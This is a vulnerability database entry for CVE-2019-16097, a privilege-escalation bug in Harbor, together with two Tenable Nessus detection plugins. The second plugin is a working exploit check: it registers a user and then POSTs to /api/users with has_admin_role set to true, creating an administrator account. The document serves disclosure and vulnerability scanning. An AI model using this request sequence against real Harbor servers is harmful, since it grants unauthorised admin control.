Vulnerabilities > CVE-2019-16097 - Missing Authorization vulnerability in Linuxfoundation Harbor

047910
CVSS 6.5 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
NONE
Integrity impact
HIGH
Availability impact
NONE
network
low complexity
linuxfoundation
CWE-862
nessus

Summary

core/api/user.go in Harbor 1.7.0 through 1.8.2 allows non-admin users to create admin accounts via the POST /api/users API, when Harbor is setup with DB as authentication backend and allow user to do self-registration. Fixed version: v1.7.6 v1.8.3. v.1.9.0. Workaround without applying the fix: configure Harbor to use non-DB authentication backend such as LDAP.

Common Weakness Enumeration (CWE)

Nessus

  • NASL familyMisc.
    NASL idVMWARE_HARBOR_VMSA-2019-0015.NASL
    descriptionThe version of VMware Harbor installed on the remote host is 1.7.x prior to 1.7.6 or 1.8.x prior to 1.8.3. It is, therefore, affected by a privilege escalation vulnerability in the POST /api/users API endpoint due to insufficient checks of user privileges. An authenticated, remote attacker can exploit this, via sending a POST to the /api/users API endpoint, to gain administrator access to the system. Note that Nessus has not tested for these issues but has instead relied only on the application
    last seen2020-06-01
    modified2020-06-02
    plugin id130004
    published2019-10-17
    reporterThis script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/130004
    titleVMware Harbor 1.7.x < 1.7.6, 1.8.x < 1.8.3 (VMSA-2019-0015)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include('compat.inc');
    
    if (description)
    {
      script_id(130004);
      script_version("1.6");
      script_cvs_date("Date: 2020/01/14");
    
      script_cve_id("CVE-2019-16097");
      script_xref(name:"VMSA", value:"2019-0015");
    
      script_name(english:"VMware Harbor 1.7.x < 1.7.6, 1.8.x < 1.8.3 (VMSA-2019-0015)");
    
      script_set_attribute(attribute:"synopsis", value:
    "A cloud native registry installed on the remote host is affected by a privilege escalation vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The version of VMware Harbor installed on the remote host is 1.7.x prior to 1.7.6 or 1.8.x prior to 1.8.3. It is,
    therefore, affected by a privilege escalation vulnerability in the POST /api/users API endpoint due to insufficient
    checks of user privileges. An authenticated, remote attacker can exploit this, via sending a POST to the /api/users
    API endpoint, to gain administrator access to the system.
    
    Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version
    number.");
      script_set_attribute(attribute:"see_also", value:"https://github.com/goharbor/harbor/wiki/Harbor-FAQs#cve-2019-16097");
      script_set_attribute(attribute:"solution", value:
    "Update to VMware Harbor version 1.7.6, 1.8.3, or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16097");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/08");
      script_set_attribute(attribute:"patch_publication_date", value:"2019/09/24");
      script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/17");
    
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:goharbor:harbor");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("cncf_harbor_web_detect.nbin", "cncf_harbor_local_detect.nbin");
      script_require_keys("installed_sw/Harbor");
    
      exit(0);
    }
    
    include('vcf.inc');
    
    get_kb_item_or_exit('installed_sw/Harbor');
    
    app_info = vcf::combined_get_app_info(app:'Harbor');
    
    constraints = [
      { 'min_version' : '1.7', 'fixed_version' : '1.7.6' },
      { 'min_version' : '1.8', 'fixed_version' : '1.8.3' }
    ];
    
    vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);
    
  • NASL familyMisc.
    NASL idVMWARE_HARBOR_CVE-2019-16097_DIRECT.NASL
    descriptionThe remote VMware Harbor cloud native registry is affected by a remote privilege escalation vulnerability. Instances of VMware Harbor with DB as the authentication backend and which allow users to self-register are vulnerable. An authenticated, non-administrator, remote attacker can exploit this by sending a POST request to the
    last seen2020-06-01
    modified2020-06-02
    plugin id129825
    published2019-10-11
    reporterThis script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/129825
    titleVMware Harbor Privilege Escalation (VMSA-2019-0015) (CVE-2019-16097)
    code
    include('compat.inc');
    
    if (description)
    {
      script_id(129825);
      script_version("1.6");
      script_cvs_date("Date: 2019/10/31 15:18:51");
    
      script_cve_id("CVE-2019-16097");
    
      script_name(english:"VMware Harbor Privilege Escalation (VMSA-2019-0015) (CVE-2019-16097)");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote host is affected by a privilege escalation vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote VMware Harbor cloud native registry is affected by a remote privilege escalation vulnerability. Instances of
    VMware Harbor with DB as the authentication backend and which allow users to self-register are vulnerable. An
    authenticated, non-administrator, remote attacker can exploit this by sending a POST request to the '/api/users' API to
    create a new administrator user account.");
      script_set_attribute(attribute:"see_also", value:"https://github.com/goharbor/harbor/wiki/Harbor-FAQs#cve-2019-16097");
      script_set_attribute(attribute:"see_also", value:"https://www.vmware.com/security/advisories/VMSA-2019-0015.html");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to VMware Harbor versions 1.7.6 or later, 1.8.3 or later, or 1.9.0 or later, or apply the workaround in the
    vendor advisory.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16097");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/08");
      script_set_attribute(attribute:"patch_publication_date", value:"2019/09/18");
      script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/11");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:goharbor:harbor:");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_require_ports("Services/www", 80, 443);
    
      exit(0);
    }
    
    include('audit.inc');
    include('global_settings.inc');
    include('install_func.inc');
    include('misc_func.inc');
    include('http.inc');
    include('spad_log_func.inc');
    
    ##
    # Creates a harbor user using the users API
    # 
    # @param admin True if an admin user should be created, otherwise false
    #
    # @return request The request sent to create the user
    ##
    function create_user(admin) {
      if (admin)
      {
        var username = admin_user;
        var current_username = non_admin_user;
        var has_admin_role = 'true';
      }
      else
      {
        username = non_admin_user;
        has_admin_role = 'false';
      }
    
      var email = username + '@tenable.com';
    
      var postdata = '{  "user_id": 0,  "username": "' + username +'",  "email": "' + email
        + '",  "password": "' + passwd + '",  "realname": "Nessus",  "comment": "Nessus test",'
        + '"deleted": true,  "role_name": "Nessus",  "role_id": 0,  "has_admin_role": ' + has_admin_role + ',  '
        + '"reset_uuid": "string",  "Salt": "string"}';
    
      var post_response;
      if (admin)
        post_response = http_send_recv3(
          port            : port,
          method          : 'POST',
          item            : '/api/users',
          data            : postdata,
          content_type    : 'application/json',
          username        : current_username,
          password        : passwd,
          exit_on_fail    : FALSE
        );
      else
        post_response = http_send_recv3(
          port            : port,
          method          : 'POST',
          item            : '/api/users',
          data            : postdata,
          content_type    : 'application/json',
          exit_on_fail    : FALSE
        );
    
      var request = http_last_sent_request();
      spad_log(message:'Attempted to create a Harbor user with:\n' + request);
      spad_log(message:'The response status was:\n' + post_response[0]);
    
      if (empty_or_null(post_response[0]) || '201 Created' >!< post_response[0])
        audit(AUDIT_LISTEN_NOT_VULN, app_name, port);
    
      return request;
    }
    
    ##
    # Check the current user using tthe users/current API
    # 
    # @return request The request sent to check the current user
    ##
    function get_current_user()
    {
      var get_response = http_send_recv3(
        port            : port,
        method          : 'GET',
        item            : '/api/users/current',
        content_type    : 'application/json',
        username        : admin_user,
        password        : passwd,
        exit_on_fail    : FALSE
      );
      var request = http_last_sent_request();
      spad_log(message:'Attempted to get the admin user with:\n' + request);
      spad_log(message:'The response status was:\n' + get_response[0]);
      spad_log(message:'The response headers were:\n' + get_response[1]);
      spad_log(message:'The response body was:\n' + get_response[2]);
    
      if (empty_or_null(get_response[0]) || '200 OK' >!< get_response[0]
          || admin_user >!< get_response[2] || get_response[2] !~ '"has_admin_role":\\s*true')
        audit(AUDIT_LISTEN_NOT_VULN, app_name, port);
    
      return request;
    }
    
    #
    # Main
    #
    
    app_name = 'VMware Harbor';
    port = get_http_port(default:80);
    
    # Generate a random, non-admin username that shouldn't exist already
    non_admin_user = 'notadmin' + rand_str(length:8, charset:'0123456789ABCDEF');
    # Generate a random, admin username that shouldn't exist already
    admin_user = 'admin' + rand_str(length:8, charset:'0123456789ABCDEF');
    # Generate an acceptable password for these users
    passwd = 'Aa1' + rand_str(length:8, charset:'0123456789ABCDEF');
    
    # Create the non-admin user
    non_admin_request = create_user(admin:false);
    # Create the admin user
    admin_request = create_user(admin:true);
    # Check if we were successful in creating an admin user
    get_current_user_request = get_current_user();
    
    security_report_v4(
      port: port,
      severity: SECURITY_WARNING,
      generic: TRUE,
      request: make_list(admin_request),
      rep_extra: 'Prior to this, a non-admin account was created using the following request:\n' + non_admin_request
        + '\n\nNessus confirmed the presence of the newly created admin user with the following request:\n' + get_current_user_request
    );